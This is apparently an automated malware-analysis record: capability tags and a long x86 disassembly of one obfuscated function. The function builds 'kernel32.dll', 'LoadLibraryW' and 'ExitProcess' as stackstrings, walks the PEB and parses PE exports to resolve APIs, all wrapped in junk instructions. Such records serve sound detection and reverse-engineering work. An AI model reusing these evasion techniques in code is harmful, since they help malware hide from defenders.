Function at 0x46a74d
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ebx
or ebx, 0x2ada
jmp 0x46a5bd
and ebx, 0x178d1
pop ebx
push ecx
sub ecx, 0x74c4
add ecx, 0x9797
and ecx, 0x124bb
pop ecx
push ecx
or ecx, 0xf78e
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x46a628
push ebx
or ebx, 0x16e06
or ebx, 0xc631
call 0x46a60d
add byte [edi], bh
inc eax
dec esi
cmp eax, 0x47453a4b
dec ecx
add esp, 4
pop ebx
push esi
push edi
add esp, 4
xor esi, 0x11ca
add esi, 0xbad7
pop esi
jmp 0x46a856
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ecx
add ecx, 0x4cc4
jmp 0x46a64b
sub ecx, 0x1b6a
and ecx, 0xb534
pop ecx
push edi
push edi
add esp, 4
sub edi, 0xf181
add edi, 0xd5d1
or edi, 0x129f6
pop edi
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x46a6d7
push eax
push edi
add esp, 4
or eax, 0x184dd
pop eax
push eax
xor eax, 0xf813
add eax, 0x1007e
and eax, 0x1084c
jmp 0x46a6b9
pop eax
push ecx
push ecx
add esp, 4
and ecx, 0x30d8
pop ecx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x46a808
cmp dword [ebp - 0xc10], 0
jle 0x46a7fc
sbb byte [ecx], al
add byte [eax], al
push edi
call 0x46a6f5
add byte [edx], bh
xor bh, byte [esi]
dec ebp
inc ebx
dec esi
push eax
xor dl, byte [eax + 0x49]
add esp, 4
sub edi, 0x124c
pop edi
push edx
push edx
add esp, 4
xor edx, 0xbd28
xor edx, 0x12a59
jmp 0x46a715
pop edx
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x46a798
push eax
xor eax, 0x1106c
adc byte [ecx], al
add byte [eax + 0x57], bl
adc byte [ecx], al
add byte [eax + 0x57], bl
push ecx
add esp, 4
and edi, 0x9bf3
call 0x46a74d
add byte [eax + 0x38], cl
cmp dh, byte [eax + edi]
inc eax
inc esp
push eax
add esp, 4
sub edi, 0xe0e3
jmp 0x46a75d
pop edi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x46a780
mov dword [ebp - 0x14cc], 1
jmp 0x46a78a
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x46a7fc
push eax
sub eax, 0x167f7
jmp 0x46a7a5
or eax, 0x16531
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x6bae
add ebx, 0x27f
sub ebx, 0xec22
and ebx, 0x66e
pop ebx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x46a6d7
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x46a851
push eax
jmp 0x46a817
or eax, 0xc6e1
call 0x46a82d
add byte [edi + esi + 0x35], cl
inc ecx
inc esi
inc eax
xor eax, 0x834f4e3c
les eax, [eax + ebp*8]
or al, byte [eax]
add byte [eax], al
add byte [ebx], dh
cmp byte [ebp + 0x42], al
dec esp
inc ebx
xor al, 0x33
cmp al, byte [ebx - 0x74a7fb3c]
test dword [eax], esi
sti
invalid
jmp 0x46a59f
push ecx
and ecx, 0xdb07
add ecx, 0x9816
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x17866
pop eax
push eax
push edx
add esp, 4
and eax, 0xbe1f
or eax, 0x1822f
xor eax, 0xb07b
pop eax
mov dword [ebp - 0xa5c], 0
push edi
add edi, 0x141a
and edi, 0x924b
pop edi
push edx
xor edx, 0x127c5
xor edx, 0x6f74
add edx, 0xb2f5
pop edx
push esi
add esi, 0x147f4
pop esi
push edx
sub edx, 0x7fb2
pop edx
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edx
xor edx, 0x9477
call 0x46a92c
add byte [ebx], dh
xor edi, dword [esi]
dec edi
xor bh, byte [eax]
dec ebp
add esp, 4
and edx, 0x17c38
pop edx
push eax
jmp 0x46a93d
add eax, 0x17b90
and eax, 0xd5ce
pop eax
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
push edi
add esp, 4
and esi, 0xf2e1
and esi, 0x41f
add esi, 0x9aa1
pop esi
push edi
and edi, 0x8b68
and edi, 0x20ee
sub edi, 0x9990
and edi, 0x38ef
pop edi
push ebx
xor ebx, 0x134f9
xor ebx, 0x68ae
xor ebx, 0x12e92
or ebx, 0xdbb1
pop ebx
push edx
push esi
add esp, 4
or edx, 0x11de1
and edx, 0xe696
sub edx, 0x13858
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push edi
add edi, 0xa7c6
xor edi, 0xee44
or edi, 0x120f9
pop edi
push esi
and esi, 0x1068
sub esi, 0x16a3b
pop esi
push ebx
add ebx, 0xbe2c
pop ebx
push edx
xor edx, 0x5f2a
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x46aab9
mov dword [ebp - 0x2e0], 0
jmp 0x46ad75
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
call 0x46aadb
add byte [ebp + 0x33], cl
push eax
dec ebx
dec eax
xor dh, byte [0xc483364e]
add al, 0x81
call 0x46d10c
or eax, 0x20aa
sub eax, 0x14b8c
pop eax
push ecx
push eax
add esp, 4
xor ecx, 0x8444
pop ecx
cmp dword [ebp - 0xc20], 0
jne 0x46ab15
mov dword [ebp - 0x2e0], 0
jmp 0x46ad75
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push ebx
xor ebx, 0x12d29
call 0x46ab38
add byte [ebx + 0x44], al
cmp eax, 0x4d3f414c
dec esp
inc ebx
inc ecx
add esp, 4
pop ebx
push ecx
push eax
add esp, 4
xor ecx, 0x1447a
sub ecx, 0x107bb
jmp 0x46ab52
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
push ebx
add esp, 4
and ebx, 0x17dab
pop ebx
push edx
or edx, 0x18619
sub edx, 0x2338
and edx, 0xbca0
or edx, 0x1316a
pop edx
push ebx
push ebx
add esp, 4
or ebx, 0x5447
pop ebx
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ebx
push esi
add esp, 4
and ebx, 0x149d3
add ebx, 0x8952
xor ebx, 0xae9b
pop ebx
push esi
xor esi, 0xa60d
pop esi
push ebx
push eax
add esp, 4
sub ebx, 0x233a
sub ebx, 0x87e4
pop ebx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x46ac61
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x46acc4
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x46ab80
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x46ab80
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x46acae
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x46acb8
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x46ad0d
push ebx
push ecx
add esp, 4
jmp 0x46acd9
pop ebx
push esi
push esi
add esp, 4
or esi, 0xbf0b
or esi, 0xc43d
pop esi
push eax
push eax
add esp, 4
jmp 0x46acf8
sub eax, 0x119d1
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x46ad75
push edx
or edx, 0x176c3
sub edx, 0xff2c
add edx, 0x10866
or edx, 0x1495c
pop edx
push esi
push ebx
add esp, 4
add esi, 0x29aa
or esi, 0x12963
and esi, 0xef27
pop esi
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x46ad6b
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x46ab21
mov dword [ebp - 0x2e0], 0
push eax
push eax
add esp, 4
and eax, 0xa68e
or eax, 0xc898
pop eax
push eax
sub eax, 0x6470
and eax, 0x4d13
add eax, 0xc8
pop eax
push edx
push ebx
add esp, 4
and edx, 0x15a6a
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x46b6c0
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
call 0x46ae5e
add byte [0x3a4b3642], bh
cmp eax, 0x3a4b3642
inc edi
xor al, 0x32
aaa
cmp byte [ebx - 0x147efb3c], al
jne 0x46ae54
add byte [eax], al
xor ebx, 0x12170
call 0x46ae7b
add byte [edx + 0x3d], cl
cmp byte [eax], bh
inc edi
inc edx
dec ecx
cmp eax, 0x5b04c483
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push eax
sub eax, 0xef83
and eax, 0x10c11
or eax, 0xa252
pop eax
push eax
push ebx
add esp, 4
or eax, 0xaa0f
pop eax
push ecx
push edi
add esp, 4
or ecx, 0x131f
or ecx, 0xf4dc
pop ecx
cmp dword [ebp - 0x14dc], 0
jne 0x46af4b
mov dword [ebp - 0x6ec], 0
jmp 0x46b207
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push eax
call 0x46af6a
add byte [edi + 0x49], al
aas
xor al, 0x4d
inc edx
add esp, 4
pop eax
push edi
jmp 0x46af76
or edi, 0xdfff
pop edi
push esi
push ecx
add esp, 4
or esi, 0xc576
sub esi, 0xbc7f
pop esi
cmp dword [ebp - 0xc2c], 0
jne 0x46afa7
mov dword [ebp - 0x6ec], 0
jmp 0x46b207
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
call 0x46afc1
add byte [edx + 0x50], cl
cmp al, 0x3b
inc ebx
cmp cl, byte [edi - 0x7d]
les eax, [ecx + eax*4]
bnd jbe 0x46aff9
add byte [eax], al
pop edx
push eax
push ebx
add esp, 4
or eax, 0x154
and eax, 0xb06c
jmp 0x46afe4
pop eax
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
xor byte [ecx - 0xc2373], cl
push dword [ebx]
shl byte [esi - 0x77], cl
xchg ebp, eax
add al, 0xfe
invalid
push eax
jmp 0x46b018
add eax, 0x10025
call 0x46b02c
add byte [ebx + 0x43], al
push eax
cmp cl, byte [ecx + 0x43]
cmp al, 0x40
add esp, 4
pop eax
push esi
add esi, 0x6f0b
xor esi, 0x56c5
xor esi, 0x82d4
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
jmp 0x46b0a6
or edx, 0x1684e
pop edx
push eax
push ebx
add esp, 4
and eax, 0xd16b
jmp 0x46b0c0
jmp 0x46b0c9
sub eax, 0x76a6
pop eax
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x46b0f3
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x46b156
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x46b012
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x46b012
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x46b140
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x46b14a
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x46b19f
push ecx
push esi
add esp, 4
xor ecx, 0x7d35
add ecx, 0x4af4
xor ecx, 0xf3cf
pop ecx
push ecx
add ecx, 0xbed0
sub ecx, 0x179fd
add ecx, 0xefa7
sub ecx, 0x20a8
pop ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x46b207
push ebx
push edx
add esp, 4
and ebx, 0x5de1
pop ebx
push ebx
add ebx, 0x16078
pop ebx
push ebx
call 0x46b1c1
add byte [ecx + 0x3e], cl
cmp byte [ecx + 0x3a], cl
xor al, byte [ebx + eax*4 - 0x3c]
add al, 0x81
jmp 0x46b1b3
push ebx
and ebx, 0x15ed8
or ebx, 0x15bb5
pop ebx
push ebx
push eax
add esp, 4
sub ebx, 0x14f1b
add ebx, 0x695c
and ebx, 0x1570a
pop ebx
push ecx
push esi
add esp, 4
or ecx, 0x8b16
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x46b283
push ecx
push ebx
add esp, 4
jmp 0x46b250
xor ecx, 0x111bd
pop ecx
push esi
and esi, 0x52d5
or esi, 0x7256
pop esi
push esi
and esi, 0x158f6
pop esi
push edx
jmp 0x46b273
pop edx
mov dword [ebp - 0x738], 0
jmp 0x46bdaa
push ecx
call 0x46b293
add byte [edx + 0x34], cl
cmp dh, byte [ebx]
dec edi
dec ecx
inc edx
xor al, byte [ebx + 0x525904c4]
push edi
add esp, 4
sub edx, 0xb02e
sub edx, 0x11415
pop edx
push esi
push eax
add esp, 4
add esi, 0x5108
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x46b2f4
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x46b5e5
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x46b31c
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x46b5e5
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x46b34e
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x46b5e5
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x46b373
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x46b5e5
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x46b3cd
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x46b5d9
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x46b43d
mov ecx, dword [ebp - 0x180]
add ecx, 1
mov dword [ebp - 0x180], ecx
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x46b4ef
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x46b4ef
push edi
sub edi, 0x25d0
add edi, 0xee4d
pop edi
push ecx
xor ecx, 0x1084a
jmp 0x46b485
pop ecx
push edi
or edi, 0xf68
pop edi
push edi
and edi, 0xa6e9
add edi, 0x130dc
pop edi
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
cmp ecx, eax
je 0x46b4e1
mov ecx, dword [ebp - 0x6f8]
add ecx, dword [ebp - 0x180]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x180]
movsx ecx, byte [ebp + eax - 0x820]
cmp edx, ecx
jne 0x46b4e8
jmp 0x46b42e
jmp 0x46b4ef
push edi
push edx
add esp, 4
or edi, 0x886d
and edi, 0x4a69
sub edi, 0x1370a
call 0x46b515
add byte [edx], bh
dec edx
dec ecx
dec edx
inc eax
dec edx
inc esp
add esp, 4
pop edi
push esi
and esi, 0xd436
pop esi
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x46b54e
mov dword [ebp - 0xc30], 0
jmp 0x46b5bd
push eax
push eax
add esp, 4
and eax, 0x964f
or eax, 0x10dcd
sub eax, 0xb9ab
jmp 0x46b56b
pop eax
push edi
push ecx
add esp, 4
xor edi, 0x61fd
pop edi
push ecx
add ecx, 0x17be9
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x46b5b3
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x46b5bd
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x46b5d4
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x46b5e5
jmp 0x46b3be
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x46b6c0
push edi
push ebx
add esp, 4
sub edi, 0xcffc
add edi, 0xcd5e
sub edi, 0x16497
and edi, 0x7077
pop edi
push ecx
add ecx, 0x16fd1
add ecx, 0x586b
and ecx, 0xa18a
pop ecx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ebx
sub ebx, 0x4323
sub ebx, 0xcfee
sub ebx, 0x9518
pop ebx
push edi
push edi
add esp, 4
add edi, 0x10864
xor edi, 0x66c8
and edi, 0xa0b0
xor edi, 0x4394
pop edi
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x46b6c0
push ebx
push ebx
add esp, 4
add ebx, 0xd8e5
pop ebx
push edx
xor edx, 0x15263
sub edx, 0x7656
add edx, 0xf2c4
pop edx
push ebx
push edx
add esp, 4
and ebx, 0xed36
and ebx, 0x173ba
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x46bdaa
push eax
and eax, 0x3b71
add eax, 0x5081
sub eax, 0xa980
sub eax, 0x88cb
pop eax
push ecx
push ecx
add esp, 4
sub ecx, 0x44a5
or ecx, 0x10ade
and ecx, 0x73e4
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
push eax
add esp, 4
sub edi, 0x3ec9
sub edi, 0x1696d
or edi, 0xd563
xor edi, 0xa16b
pop edi
push edi
and edi, 0x3aa
or edi, 0x1568d
sub edi, 0x878f
pop edi
cmp dword [ebp - 0x14f4], 0
jne 0x46b763
mov dword [ebp - 0x2e0], 0
jmp 0x46ba0a
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
xor ebx, 0xf199
pop ebx
push eax
push edi
add esp, 4
or eax, 0x8442
pop eax
push ecx
push edx
add esp, 4
add ecx, 0x114c8
call 0x46b7a3
add byte [ebp + 0x4d], cl
dec esi
inc edx
dec ebp
inc edx
xor eax, dword ss:[ebx - 0x7ca6fb3c]
mov ebp, 0xfffff3c4
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2e0], 0
jmp 0x46ba0a
push edi
call 0x46ba18
add byte [edx + ecx*2 + 0x33], al
inc esp
xor al, 0x36
dec ecx
add esp, 4
add edi, 0x886c
pop edi
push ebx
push esi
add esp, 4
add ebx, 0x542f
and ebx, 0x9dfb
pop ebx
push edx
add edx, 0x11f7c
pop edx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push eax
push ebx
add esp, 4
and eax, 0x232c
xor eax, 0x2851
or eax, 0xb98c
xor eax, 0x10d3c
pop eax
push edx
push ecx
add esp, 4
and edx, 0x171ae
pop edx
push ecx
or ecx, 0x17914
pop ecx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x46baad
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x46bd9e
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x46bad5
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x46bd9e
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x46bb07
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x46bd9e
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x46bb2c
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x46bd9e
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x46bb86
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x46bd92
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
invalid
test dword [esi + edi*8 - 1], edi